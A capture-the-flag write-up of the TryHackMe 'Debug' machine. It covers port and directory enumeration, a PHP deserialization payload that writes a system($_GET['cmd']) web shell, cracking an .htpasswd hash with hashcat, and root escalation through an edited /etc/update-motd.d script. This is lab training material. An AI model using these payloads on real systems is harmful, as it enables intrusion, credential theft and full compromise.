This is the simple medium box on TryHackMe website. It requires the some knowledge about PHP deserialization. Let’s start
For beginning I put the ip in /etc/hosts for convinient

10.10.14.67 debug.thm

Enumeration

Port Scanning

I will start with a simple nmap to find out which service is running on this host.

nmap -p- -v debug.thm
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

Base on the result, we know that there is 2 services is running on this port. As my guess there is a SSH and a webserver, but a will scan more deeper to confirm

nmap -A -p 80,22 debug.thm  
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Exactly like my guess, we can see there is a webserver and SSH server is running on this host. I will start to enumeration this server

Webserver on port 80

alt text
This is a default Apache server and it doesn’t not give us anything usefull. So I will brute force for hidden directories.

Directories brute forcing

gobuster dir -u http://debug.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,txt
/backup               (Status: 301) [Size: 307] [--> http://debug.thm/backup/]
/grid                 (Status: 301) [Size: 305] [--> http://debug.thm/grid/]  
/index.html           (Status: 200) [Size: 11321]                             
/index.php            (Status: 200) [Size: 5732]                              
/index.php            (Status: 200) [Size: 5732]                              
/javascripts          (Status: 301) [Size: 312] [--> http://debug.thm/javascripts/]
/javascript           (Status: 301) [Size: 311] [--> http://debug.thm/javascript/] 
/message.txt          (Status: 200) [Size: 94]                                     
/server-status        (Status: 403) [Size: 274]
...

The result give us there is a index.php and a very juicy file name /backup. Let’s see the index page first

/index.php

It look like a mockup page with nothing in there. The only function works on this website is the subnmit function. I also look the page source and the javascript but there is nothing there, it just script for rendering the page. Then I decided to move to /backup folder to find the PHP source of this index

/backups

alt text
We found 2 intersting source codes is index.html.bak and index.php.bak. The index.html.bak dont give anything instead the code of the default Apache page. But we found this intersting PHP code


<?php

class FormSubmit {

public $form_file = 'message.txt';
public $message = '';

public function SaveMessage() {

$NameArea = $_GET['name']; 
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];

	$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";

}

public function __destruct() {

file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';

}

}

// Leaving this for now... only for debug purposes... do not touch!

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

$application = new FormSubmit;
$application -> SaveMessage();


?>

After reading the code, we can see it will gather the input from parameter and put into message.txt file .Notice there is a debug paramter that we can inject a PHP object to be deserialized. Moreover, we can also see the the magic method is __destruct() (which is execute automaticaly, we dont need to called it) and this method in charge of writing data from the variable $message to the file which is store in $form_file.
So now I came up with the idea we can inject FormSubmit object with any content and any file name through the parameter debug and then our injected object we be deserialized. Finanly the __destruct() method will create a new file with our conent. So I craft this PHP code the create our serialized object

<?php

class FormSubmit {

    public $form_file = 'a.php';
    public $message = '<?php system($_GET[\'cmd\']);?>';
    

}

$a = new FormSubmit;
echo serialize($a); // return O:10:"FormSubmit":2:{s:9:"form_file";s:5:"a.php";s:7:"message";s:29:"<?php system($_GET['cmd']);?>";}

This will push our code into a new file name a.php on the server. And let’s access to /a.php?cmd=id to see whether it work or not:
alt text
And our code run successfully.

Exploit

To james

Now we can have our revershell as user www-data. And I find this credential

www-data@osboxes:/var/www/html$ ls -la
ls -la
total 76
drwxr-xr-x 6 www-data www-data  4096 Aug  6 04:20 .
drwxr-xr-x 3 root     root      4096 Mar  9 19:56 ..
-rw-r--r-- 1 www-data www-data    44 Mar  9 20:09 .htpasswd
-rw-r--r-- 1 www-data www-data    29 Aug  6 04:20 a.php
-rw-r--r-- 1 www-data www-data    11 Aug  6 04:19 a.txt
drwxr-xr-x 5 www-data www-data  4096 Mar  9 20:10 backup
drwxr-xr-x 2 www-data www-data  4096 Mar  9 20:10 grid
-rw-r--r-- 1 www-data www-data 11321 Mar  9 20:10 index.html
-rw-r--r-- 1 www-data www-data  6399 Mar  9 20:10 index.php
drwxr-xr-x 2 www-data www-data  4096 Mar  9 20:10 javascripts
drwxr-xr-x 2 www-data www-data  4096 Mar  9 20:10 less
-rw-r--r-- 1 www-data www-data  1139 Aug  6 04:20 message.txt
-rw-r--r-- 1 www-data www-data  2339 Mar  9 20:10 readme.md
-rw-r--r-- 1 www-data www-data 10371 Mar  9 20:10 style.css
www-data@osboxes:/var/www/html$ cat .htpasswd
cat .htpasswd
james:$apr1$zPZMix2A$d8fBXH0em33xxxxxxxxxxx

We found the credentials for james. Now I will use hashcat to crack it

hashcat -a 0 -m 1600 hash /usr/share/wordlists/rockyou.txt

It is quite fast and now we got james password and we can SSH into the server with that credentials

To root

At the home folder of james we can see this note

james@osboxes:~$ cat Note-To-James.txt 
Dear James,

As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it? 

But there's still one thing I'd like you to do, before the submission.

Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D

I gave you access to modify all these files :) 

Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!

Best Regards,

root

And I notices that the file .bash_hisotry is not empty so I read it

james@osboxes:~$ cat .bash_history 
ls
clear
exit
ls
clear
exit
ls
clear
exit
ls
cd /home/james/
ls
cat Note-To-James.txt 
ls
cd /etc/update-motd.d/
ls
ls -la
ls
clear
ls
clear
ls
clera
ls
clear
ls
clear
ls -la
cd /
ls
cd /root/
ls
exit
ls
clear
exit
nano id_rsa
chmod 600 id_rsa 
ssh -i id_rsa root@10.250.0.12
exit

And we found that james has access to the folder /etc/update-motd.d. So i try to access to that folder and foudn out we have the right to modify of the file in here. I read the file 00-header and see this line

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

It look like the line we see when we login as SSH. After a few google, we know that all the file inside /etc/update-motd.d will be run as root when any user use SSH to login. You can double check that by running pyspy tool on this james account and then login as james again. You will this line everything time you login as SSH

sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:\
    /usr/sbin:/usr/bin:/sbin:/bin \
    run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new

It will run all the script inside /etc/update-motd.d with the UID is 0 (which is root). So add modify the 00-header file like this

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
cat /root/root.txt

And save now we login again and we can see the flag

root@kali:~# ssh james@debug.thm 
james@debug.thm's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic x86_64)
3c8xxxxxxxxxxxxxxxxxxxxf4b

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

439 packages can be updated.
380 updates are security updates.

Last login: Fri Aug  6 04:38:38 2021 from 10.17.7.60

And this is the end